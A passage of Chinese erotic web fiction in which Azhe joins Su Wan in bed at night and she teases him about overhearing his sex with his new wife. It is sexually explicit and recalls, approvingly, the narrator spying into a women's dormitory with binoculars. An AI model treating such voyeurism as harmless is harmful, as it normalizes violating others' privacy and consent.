发,露出光洁的额头来轻轻地说,眼神里充满了阿喆想要的那种妩媚。

阿喆轻轻地走进去,房间里的各个角落里充满了如午后的阳光一样的暖暖的
光芒,畅快而又柔和。阿喆掩上门,转身抬头搜寻那光源的来源,所有的光线都
是从房间中央顶上那盏大大的水晶吊灯上发出来的,阿喆还想看一下房间里的其
他地方,前方不远的地方传来「啪」的一声轻响,灯光熄灭了,在他的眼前留下
了吊灯白白的残影,久久都没有散去。

「过这边来,阿喆!」苏婉的声音在黑暗中清晰地响起来,就像空灵而悠远
的魔咒那样摄人心魄。

阿喆便像个盲人一样,被吊灯的残影遮蔽了双眼,跌跌撞撞地朝着声音的方
向摸索过去,还好,一路上没有撞到什么东西,就顺利地摸到软绵绵的床——那
种天鹅绒的触感。一只柔软的手掌抓住了他盲目的手,把他拉上了床,拉进了馨
香扑鼻的被窝里,「靠着我睡下!」苏婉说,阿喆便朝里挪了挪,挨着了女人那
暖乎乎的身子。

阿喆心里还没有平静下来,女人大胆的手就伸了过来,在阿喆的胯间摸了一
下,隔着内裤摸着了那条软软的蛇,在上面嗔怪地拍了一下缩了回去,「咯咯」
地笑着说:「我就说嘛!把老婆喂饱了,就蔫头耷脑的了!」

阿喆在黑暗里尴尬地笑了,眼前吊灯的残影消失了,他发现这个房间里比他
们那间还要亮些,眼前的事物的轮廓清晰可辨,阿喆仰起头来四处看了看,原来
虽然只有一面是落地窗,却没有拉上窗帘,从里面也看得到一方亮闪闪的星空,
宝石一般的星星正对着他们暧昧地眨着眼睛。阿喆的脑海蹦出一个场景来:某个
被饥渴的情欲烧得奄奄一息的光棍,就住在这扇窗户对面的某幢高楼里,每天到
了夜晚来临的时刻,对面这间没有拉窗帘的窗户像灯笼一样被点亮了的时候,就
拿着望眼镜像看万花筒一样看里面的风景:灌满了橙色的光的房间里,有着色彩
温雅的床上饰品和斑斓的墙上装饰,女主人穿着松散的粉白色的睡袍,赤着脚姗
姗地走到画面中间,对着镜子亭亭玉立,任由睡袍从肩上滑落在地毯上,露出光
溜溜的身子来,像一尊新刻的人体雕塑拉开了帷幕,棕色的身子在灯光里泛着健
康的亮色,从上到下起伏的线条,一头披肩的秀发,秀美的脸庞,挺翘的胸脯,
纤细的腰身,平坦的小腹,丰满的臀部,颀长的双腿……这一切都让人馋涎欲滴,
她正在久久对着镜子孤芳自赏,时不时扭过头来看看自己的臀部,说不定兴致好
的话,还会来上一段拉丁舞,尽情地让自己的修长的四肢像花瓣一样舒展摇曳,
直到舞得精疲力竭,才扑在大大的床中央,在温暖的光线里,裸睡到天亮……
「嘿,怎么不说话呢?」女人的声音打断了他的幻想,把他拉到现实中来。这可
不是阿喆凭空就想的出来的,大学那会儿,他和室友总是偷偷摸摸的挤在天台上,
把望眼镜对着女生宿舍的窗户窥视,不时地能收获一些让人脸红心跳的画面,成
为他们切夜难眠的谈资。

「呃……我在想……现在几点钟了?」阿喆醒来三次,每次都忘记了看时间,
他想知道天是不是快亮了。

「我也不知道,应该还没到五点钟吧!我才睡了一觉,被尿给胀醒了的!」
女人说着就扭头从床头柜上拿来手机,打开屏幕看时间,「唉,才三点钟,我还
以为很久了呢,夜总是这么漫长。」她把手机放回去的时候叹了一口气说,也许
夜对她来说真的太长了一些,她停了一停,又说:「优染睡着了吧?」

「是啊,累了一天,她也该好好休息了,病刚刚好就去钓鱼……」阿喆说,
要是优染是醒着的他能有这么大胆么?这是她第二次问这个问题了,看来苏婉还
是害怕的啊。

「我看不是钓鱼累着的吧?」女人笑嘻嘻地说,「你们闹腾了那么久,就算
是身经百战的女人也被你搞软了,何况人家是娇弱的新娘子呢!」

「啊哟,哪有……我们上床就睡着了,没有这回事,她还在生着气呢,不可
能的事。」阿喆口不应心地说。

「你真不老实,我和梨香在隔壁都听见了,你还蒙我呢?」苏婉不高兴地说,
「你是怕我把你给吃了吧,我都知道了!」

「你们听得见么?」阿喆惊讶地问,「我怎么没有听见你们说话!」他以为
这个狡黠的女人又在套他的话呢,他和梨香的事情就是这样被她给套出来的。

「你们呀!搞得那么大声,就差楼没有被你们给震塌了,还怕我们听不见呢?」
女人说,要是开着灯的话,定能看见她脸上揶揄的表情。

「有么……没有那么大声吧?」他也记不清了,只记得满屋回荡着优染的喘
息声,现在满满地还在耳边回响,他还是不相信她们在隔壁能够听得见。

「亲亲,我要死了!要死了!我不行了啊!」苏婉学着优染的声音,气喘吁
吁地做出垂死般的喊叫来,学得惟妙惟肖。阿喆仿佛又看见了优染那扭曲的白花
花的身子在身下不住地痉挛。看来还真是隔墙有耳啊!他心里惴惴不安起来。

「说真的!你还真能干!」女人凑到阿喆的耳朵旁小声地说,香扑扑的热气
吹在耳廓里,痒酥酥地撩人,「从那声 啊—— 开始算起,到你把女人 干死
了,足足干了四十多分钟哩,我和梨香都计时了的,真不错啊!」女人的声音
里满是羡慕。

阿喆在心里惭愧地呻吟着,这可是优染第一次被弄到高潮,前面都没有能够
满足她,自己一直为此自责不已,到现在心里还残留着依稀的阴影,「梨香怎么
样了?」他突然想到梨香捂着脸跑上楼的样子。

【待续】
  

上一篇我和二嫂汝芳下一篇禁区